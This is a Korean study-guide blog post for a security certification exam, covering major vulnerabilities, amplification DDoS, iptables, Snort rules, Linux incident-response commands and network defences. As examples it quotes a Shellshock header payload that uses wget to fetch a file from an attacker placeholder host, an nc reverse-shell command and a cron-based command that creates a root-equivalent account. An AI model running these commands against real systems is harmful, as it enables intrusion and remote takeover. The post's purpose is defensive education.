정보보안기사 | 침해사고분석대응 핵심 정리 (4-3편)

정보보안기사 | 침해사고분석대응 핵심 정리 (4-3편)

🔍 정보보안기사 | 침해사고분석대응 핵심 정리 (4-3편)

HeartBleed · POODLE · Shellshock · Log4j · NTP/SSDP 증폭 DDoS · CVE 표기 · iptables DROP vs REJECT · Snort flags/nocase/distance/within · find 명령어 · Reverse Shell · Zero Trust · WAF 구현 방식까지
침해사고분석대응 정리.

#정보보안기사 #침해사고분석대응 #HeartBleed #Log4j #iptables #Snort룰심화 #ZeroTrust #NTP증폭DDoS

📋 목차

  • 1. 주요 취약점 4종 — HeartBleed · POODLE · Shellshock · Log4j
  • 2. NTP 증폭 DDoS · SSDP 증폭 공격 · CVE 표기 방식
  • 3. iptables 심화 — DROP vs REJECT · -A/-I/-D · iptables-save
  • 4. Snort 룰 심화 — 양방향 · flags · nocase · distance/within · 부정 매칭
  • 5. 리눅스 보안 명령어 — find · tcpdump · last · Reverse Shell · PAM · TCP Wrapper · shadow 권한
  • 6. DLL Injection · Ingress 필터링 · cron 악용 계정 생성 위험
  • 7. Zero Trust · Cisco 패스워드 확인 · NAC 구성 방식 · IDS 탐지 행위 · WAF 구현 방식
  • 8. 침해사고분석대응 4-1 ~ 4-3 전체 통합 최종 요약

1. 주요 취약점 4종 — HeartBleed · POODLE · Shellshock · Log4j

🔧 현직자 실무 포인트

HeartBleed·POODLE·Shellshock·Log4j는 정보보안기사 시험에서 반복 출제되는 빅4 취약점입니다. 각 취약점의 영향 소프트웨어, 공격 원리, CVE 번호, 대응 방안을 세트로 암기하세요. 실무에서는 취약점 스캐너(Nessus·OpenVAS)로 정기 점검합니다.

취약점영향 소프트웨어 / 원리핵심 키워드대응
HeartBleed
(CVE-2014-0160)
OpenSSL HeartBeat 확장 모듈 버그 → 서버 메모리 최대 64KB 유출 메모리 정보 유출
개인정보·암호키 탈취
OpenSSL 최신 버전 업데이트 + SSL 인증서 재발급
POODLE SSL 연결을 SSLv3.0으로 강제 다운그레이드 → 중간자 공격 + CBC 패딩 취약점 이용 다운그레이드 공격
CBC 패딩 취약점
SSL 3.0 사용 금지
TLS 1.2 이상 강제
Shellshock GNU Bash 취약점. HTTP 헤더(User-Agent 등)에 악성 명령 삽입 → 원격 명령 실행 원격 코드 실행(RCE)
웹셸 생성 악용
Bash 최신 버전 패치
입력값 검증
Log4j
(Log4Shell)
Apache Java 로깅 라이브러리. JNDI Lookup 메서드 입력값 검증 미흡 → 원격 코드 실행 JNDI Lookup
Java 기반 서비스 광범위 영향
Log4j 2.15.0 이상 업데이트
JNDI 비활성화

📋 Shellshock 공격 패턴

HTTP 헤더에 다음 형식으로 악성 명령 삽입: () { :; }; [악성 명령]

예: User-Agent: () { :; }; /bin/bash -c “wget http://공격자/악성파일”

🎯 시험 출제 포인트

  • HeartBleed = OpenSSL HeartBeat 모듈 / 메모리 최대 64KB 유출 / CVE-2014-0160
  • HeartBleed 대응: OpenSSL 업데이트 + SSL 인증서 재발급
  • POODLE = SSLv3.0 강제 다운그레이드 + CBC 패딩 취약점 / 대응: SSL 3.0 사용 금지
  • Shellshock = GNU Bash 취약점 / HTTP 헤더에 () { :; }; 형식 악성 명령 삽입
  • Log4j = Java 로깅 라이브러리 JNDI Lookup 원격 코드 실행 / 파급력 매우 큼

2. NTP 증폭 DDoS · SSDP 증폭 공격 · CVE 표기 방식

반사 증폭 공격
⏱️ NTP 증폭 DDoS
NTP 서버의 monlist 기능 악용. 출발지 IP를 피해자로 위조 → 증폭된 응답이 피해자 집중. NTP 포트: UDP 123. 진단: ntpdc -c monlist
IoT 기기 악용 반사 공격
📡 SSDP 증폭 공격
IoT 기기 검색 프로토콜 SSDP(Simple Service Discovery Protocol) 악용. 포트: UDP 1900. 조작된 검색 요청 → 증폭된 응답이 피해자 집중. DRDoS 유형.

📋 NTP 증폭 공격 iptables 대응 설정

iptables -A OUTPUT -p udp –sport 123 -m length –length 100: -j DROP

→ UDP 123번 포트(NTP) 출발지로 나가는 패킷 중 100바이트 이상 차단 (monlist 응답은 크기가 크므로 이를 차단)

Q CVE-2014-1234에서 2014와 1234가 각각 의미하는 것은?
→ 2014 = 취약점이 발견된 연도 / 1234 = 해당 연도의 취약점 번호 CVE(Common Vulnerabilities and Exposures)는 MITRE사에서 관리하는 공개 취약점 식별 체계.

🎯 시험 출제 포인트

  • NTP 증폭 = monlist 기능 악용 / UDP 123번 포트 / DRDoS 유형
  • NTP iptables 차단: –sport 123, –length 100: → DROP
  • SSDP 증폭 = IoT 기기 악용 / UDP 1900번 포트
  • CVE 형식: CVE-연도취약점번호 / 관리기관: MITRE사

3. iptables 심화 — DROP vs REJECT · -A/-I/-D · iptables-save

옵션/액션동작비고
DROP 패킷을 폐기하고 아무 응답도 보내지 않음 보안 관점에서 권장. 공격자에게 시스템 존재 알리지 않음
REJECT 패킷을 거부하고 ICMP 오류 메시지 응답 불필요한 응답 트래픽 증가. 공격자에게 시스템 존재 노출. 보안상 비권장
-A (Append) 체인 마지막에 규칙 추가 기존 규칙 뒤에 추가
-I (Insert) 지정한 위치에 규칙 삽입 위치 미지정 시 맨 앞에 삽입
-D (Delete) 규칙 삭제 규칙 번호 또는 내용으로 삭제
iptables-save 현재 커널에 적용된 전체 iptables 정책을 표준 출력으로 저장 재부팅 후에도 규칙 유지하려면 파일로 리다이렉션

📋 iptables 규칙 적용 핵심 원칙

iptables는 규칙을 위에서 아래로 순차 검사하므로 규칙 순서가 매우 중요합니다.

예: -I로 차단 규칙을 맨 앞에 삽입하면 이후 허용 규칙보다 먼저 적용됩니다.

🎯 시험 출제 포인트

  • DROP = 무응답 차단 (보안 권장) / REJECT = ICMP 오류 응답 후 차단
  • DROP이 권장되는 이유: ICMP 응답으로 시스템 존재 노출 방지
  • -A=마지막에 추가 / -I=지정 위치 삽입 / -D=삭제
  • iptables 규칙 저장: iptables-save
  • 규칙 순서 중요: 위에서 아래로 순차 검사

4. Snort 룰 심화 — 양방향 · flags · nocase · distance/within · 부정 매칭

Snort 옵션설명
<> (양방향) 양방향 매칭. 출발지 또는 목적지 포트가 지정 포트인 패킷 모두 탐지. cf. → 는 단방향(출발지→목적지만 탐지)
flags:SF TCP SYN과 FIN이 동시에 설정된 비정상 패킷 탐지. 정상 TCP에서는 SYN+FIN 동시 설정 없음 → 포트스캔 등 비정상 행위 탐지
content:!”패턴” 해당 패턴이 페이로드에 존재하지 않는 경우 탐지. 부정 매칭. 예: content:!”anonymous” → anonymous 없는 패킷 탐지
nocase 대소문자 구분 없이 패턴 탐지. content 옵션과 함께 사용
distance 이전 content 매칭 위치로부터 탐지를 시작할 바이트 간격 지정 (상대 위치)
within 이전 content 매칭 위치로부터 탐지할 바이트 범위 지정 (상대 위치)

📋 절대 위치 vs 상대 위치 옵션 비교

절대 위치 (페이로드 처음 기준): offset(시작 위치) / depth(범위)

상대 위치 (이전 매칭 기준): distance(시작 간격) / within(범위)

🎯 시험 출제 포인트

  • <> = 양방향 매칭 / → = 단방향
  • flags:SF = SYN+FIN 동시 설정 비정상 패킷 탐지
  • content:! = 부정 매칭 (해당 패턴이 없을 때 탐지)
  • nocase = 대소문자 무시 매칭
  • 절대위치: offset(시작)·depth(범위) / 상대위치: distance(간격)·within(범위)

5. 리눅스 보안 명령어 — find · tcpdump · last · Reverse Shell · PAM · TCP Wrapper · shadow 권한

🔧 현직자 실무 포인트

침해사고 발생 시 가장 먼저 실행하는 명령어 세트입니다. last로 로그인 이력, find로 최근 변경 파일, lsof로 열린 소켓을 확인하는 것이 초동 조치의 핵심입니다. Reverse Shell은 인바운드 차단만으로는 막을 수 없으므로 Egress 필터링이 함께 필요합니다.

명령어설명 및 활용
find / -mtime -7 최근 7일 이내 변경된 파일 검색. -mtime 7 = 정확히 7일 전 / -mtime -7 = 7일 이내
find / -user root -perm -4000 root 소유이고 SUID가 설정된 파일 검색. SUID = 파일 소유자 권한으로 실행 → 보안 위험
tcpdump -i eth0 “host IP1 and host IP2” 특정 두 호스트 사이의 패킷 캡처. -i = 인터페이스 지정
last 로그인 이력 확인 (Telnet·SSH 포함). 기반 파일: /var/log/wtmp
chown root /etc/shadow
chmod 400 /etc/shadow
shadow 파일 소유자 root 변경 + 소유자 읽기만 허용. 암호화된 패스워드 보호

Reverse Shell · PAM 계정 잠금 · TCP Wrapper

Q Reverse Shell이란?
→ 피해자 시스템에서 공격자 시스템으로 연결을 시작하여 셸을 제공. 방화벽의 인바운드 차단을 우회. 피해자 측: nc 공격자IP 8080 -e /bin/sh 형식으로 연결. 인바운드만 차단 시 우회 가능 → Egress 필터링 필요.
Q PAM pam_tally를 이용한 계정 잠금 설정 파일은?
→ /etc/pam.d/ 디렉터리 내 파일에서 설정. pam_tally.so 모듈로 로그인 실패 횟수 기록 → 임계값 초과 시 계정 잠금 deny 옵션 = 허용 실패 횟수 / unlock_time = 잠금 해제 시간(초)
Q TCP Wrapper 허용·거부 정책 파일과 우선순위는?
→ 허용: /etc/hosts.allow / 거부: /etc/hosts.deny / hosts.allow가 먼저 적용(우선)

🎯 시험 출제 포인트

  • find / -mtime -7 = 7일 이내 변경 파일 / -mtime 7 = 정확히 7일 전
  • find / -user root -perm -4000 = root 소유 SUID 파일
  • last = 로그인 이력 / 기반 파일: /var/log/wtmp
  • shadow 파일 권한: chown root + chmod 400
  • Reverse Shell = 피해자가 공격자에게 접속 → 인바운드 차단 우회
  • PAM 계정 잠금: /etc/pam.d/ + pam_tally.so / deny·unlock_time 설정
  • TCP Wrapper: hosts.allow 우선 → hosts.deny 적용

6. DLL Injection · Ingress 필터링 · cron 악용 계정 생성

Q DLL Injection이란?
→ 실행 중인 프로세스에 특정 DLL 파일을 강제 삽입 → 해당 프로세스가 백도어·키로깅 등 악성 행위 수행 DLL(Dynamic Link Library) = 여러 프로그램이 공유하는 동적 라이브러리. 정상 프로세스를 위장 수단으로 활용하여 탐지 회피.
Q Ingress 패킷 필터링이란?
→ 외부에서 내부로 유입되는 패킷의 출발지 IP를 검사하여 신뢰할 수 없는 IP(내부망 IP·사설 IP 등)를 차단 IP Spoofing 공격 대응에 활용. cf. Egress 필터링 = 내부에서 외부로 나가는 패킷 출발지 IP 검증.
Q cron 작업의 “useradd -o -u 0 -g 0 algisa” 명령의 위험성은?
→ -o = UID 중복 허용 / -u 0 = UID를 0으로 지정 → algisa 계정을 root와 동일한 권한으로 생성하는 공격 cron을 통해 주기적으로 실행하면 관리자가 삭제해도 재생성됨. cron 작업 목록을 정기 점검해야 함.

🎯 시험 출제 포인트

  • DLL Injection = 실행 중 프로세스에 DLL 강제 삽입 → 악성 행위 수행
  • Ingress 필터링 = 외부→내부 유입 패킷 출발지 IP 검증 → IP Spoofing 대응
  • useradd -o -u 0 = UID 0(root) 권한 계정 생성 → cron 악용 공격 패턴

7. Zero Trust · Cisco 패스워드 · NAC 구성 · IDS 탐지 행위 · WAF 방식

Zero Trust 3가지 논리 구성 요소

구성 요소약어역할
정책 정보 지점PIP신뢰도 판단을 위한 데이터 제공 (사용자·기기·환경 정보)
정책 결정 지점PDP정책 엔진 + 정책 관리자로 구성. 접근 허용 여부 결정
정책 시행 지점PEPPDP 결정에 따라 실제 접근 허용·차단 시행
Q Cisco 장비에서 패스워드 암호화 설정 확인 명령어와 확인 항목 3가지는?
→ 명령어: show running-config / 확인 항목: enable secret 사용 여부 · username secret 사용 여부 · password-encryption 서비스 동작 여부
Q NAC의 두 가지 물리적 구성 방식과 차이는?
→ 인라인(Inline) 방식: 네트워크 경로상 설치 / 강력한 접근 제어 / 장애 시 전체 네트워크 영향
미러링(Mirroring) 방식: 경로 밖 설치 / 기존 구성 변경 최소 / 직접 차단 능력 제한
Q IDS가 공격 탐지 시 수행하는 4가지 행위는?
→ ① 관리자에게 알람 발송 ② 이메일·SMS 통보 ③ TCP Reset 패킷으로 연결 강제 종료 ④ 라우터·방화벽 등 차단 시스템과 연동하여 차단
Q WAF의 두 가지 구현 방식은?
→ 프록시 방식: 웹서버 앞단에서 클라이언트 요청을 받아 필터링 후 전달
필터링 모듈 방식: 웹서버의 플러그인 모듈로 동작하여 웹서버 내부에서 필터링 (예: ModSecurity)

🎯 시험 출제 포인트

  • Zero Trust 3요소: PIP(정보제공) → PDP(접근결정) → PEP(시행)
  • Cisco 패스워드 확인: show running-config / enable secret · username secret · password-encryption
  • NAC: 인라인(강력 차단·장애 영향) vs 미러링(비침투·차단 제한)
  • IDS 탐지 행위 4종: 알람·통보·TCP Reset·차단 연동
  • IDS = 미러링 모드(탐지 목적) / IPS = 인라인 모드(차단 목적)
  • WAF 2종: 프록시 방식(앞단 필터링) / 필터링 모듈 방식(웹서버 내부)
  • 방화벽 4종: 패킷 필터링 · Stateful Inspection · 애플리케이션 게이트웨이 · 서킷 레벨 게이트웨이

8. 📌 침해사고분석대응 4-1 ~ 4-3 전체 통합 최종 요약

🎯 절대 암기 포인트 — 4편 全 범위

  • Snort = 1998년 Martin Roesch / content=빠름 / pcre=유연·느림
  • Snort 모드: 스니퍼=콘솔 / 패킷로거=파일 / 침입탐지=공격탐지
  • Snort 룰: 룰 헤더(액션·프로토콜·IP·포트·방향) + 룰 옵션(괄호 안)
  • 페이로드 절대위치: offset(시작)·depth(범위) / 상대위치: distance·within
  • Threshold 3종: limit·threshold·both
  • <> = 양방향 / flags:SF = SYN+FIN 비정상 패킷
  • content:! = 부정 매칭 / nocase = 대소문자 무시
  • Suricata = OISF 개발 / 멀티코어·멀티스레드 / Snort 룰 호환
  • iptables = 리눅스 netfilter 관리 / UDP 161=SNMP
  • DROP = 무응답 차단(보안 권장) / REJECT = ICMP 오류 응답
  • -A=마지막 추가 / -I=위치 삽입 / -D=삭제 / iptables-save=저장
  • 오용 탐지 = 시그니처 기반 / 이상 탐지 = 행위 기반
  • 오탐(FP) = 공격 아닌 것을 공격으로 / 미탐(FN) = 공격 못 잡음(더 심각)
  • HIDS = Tripwire(파일무결성)·미러링 / NIDS = Snort·미러링 / IPS = 인라인
  • IDS 탐지 행위 4종: 알람·통보·TCP Reset·차단 연동
  • 패킷 필터링 5요소: 출발지·목적지 IP·포트·프로토콜
  • Stateful Inspection = 체크포인트사 최초 상용화
  • 애플리케이션 게이트웨이 = 7계층 프록시 / 회선 게이트웨이 = 4계층
  • 방화벽 4종: 패킷 필터링·Stateful·애플리케이션게이트웨이·서킷 레벨 게이트웨이
  • 배스천 호스트 = 게이트웨이 핵심 호스트
  • 스크린드 서브넷 = 라우터 2개+DMZ / 가장 보안성 높음
  • NAC: 인라인(강력·장애 영향) / 미러링(비침투·차단 제한)
  • WAF 2종: 프록시 방식 / 필터링 모듈 방식(ModSecurity)
  • EDR = 프로세스 행위 기반 / 알려지지 않은 악성코드 탐지
  • ESM = 에이전트→매니저→콘솔 / SIEM = 빅데이터 상관관계 / SOAR = 자동화
  • 발전 순서: ESM→SIEM→SOAR
  • 사이버 위기 경보: 정상→관심→주의→경계→심각
  • HeartBleed = OpenSSL HeartBeat 버그 / 메모리 64KB 유출 / CVE-2014-0160
  • HeartBleed 대응: OpenSSL 업데이트 + SSL 인증서 재발급
  • POODLE = SSLv3.0 강제 다운그레이드 + CBC 패딩 / 대응: SSL 3.0 금지
  • Shellshock = GNU Bash / HTTP 헤더 () { :; }; 형식 악성 명령 삽입
  • Log4j = JNDI Lookup 원격 코드 실행 / Java 로깅 라이브러리
  • NTP 증폭 = monlist 악용 / UDP 123 / –length 100: DROP으로 차단
  • SSDP 증폭 = IoT 기기 악용 / UDP 1900
  • CVE = 연도-취약점번호 / MITRE사 관리
  • find / -mtime -7 = 7일 이내 변경 파일
  • find / -user root -perm -4000 = root 소유 SUID 파일
  • last = 로그인 이력 / 기반: /var/log/wtmp
  • shadow 권한: chown root + chmod 400
  • Reverse Shell = 피해자→공격자 접속 / 인바운드 차단 우회
  • PAM 계정 잠금: /etc/pam.d/ + pam_tally.so / deny·unlock_time
  • TCP Wrapper: hosts.allow 우선 → hosts.deny
  • DLL Injection = 실행 중 프로세스에 DLL 강제 삽입
  • Ingress 필터링 = 외부→내부 패킷 출발지 IP 검증 → IP Spoofing 대응
  • useradd -o -u 0 = root 권한 계정 생성 / cron 악용 공격
  • Zero Trust 3요소: PIP(정보)→PDP(결정)→PEP(시행)
  • Cisco 패스워드 확인: show running-config / enable secret·username secret·password-encryption
  • Wireshark DNS 응답 필터: dns.flags.response==1
  • 퍼징 = 무작위 데이터로 취약점 탐색
  • Tripwire = 파일 무결성 / Nessus = 종합 취약점 점검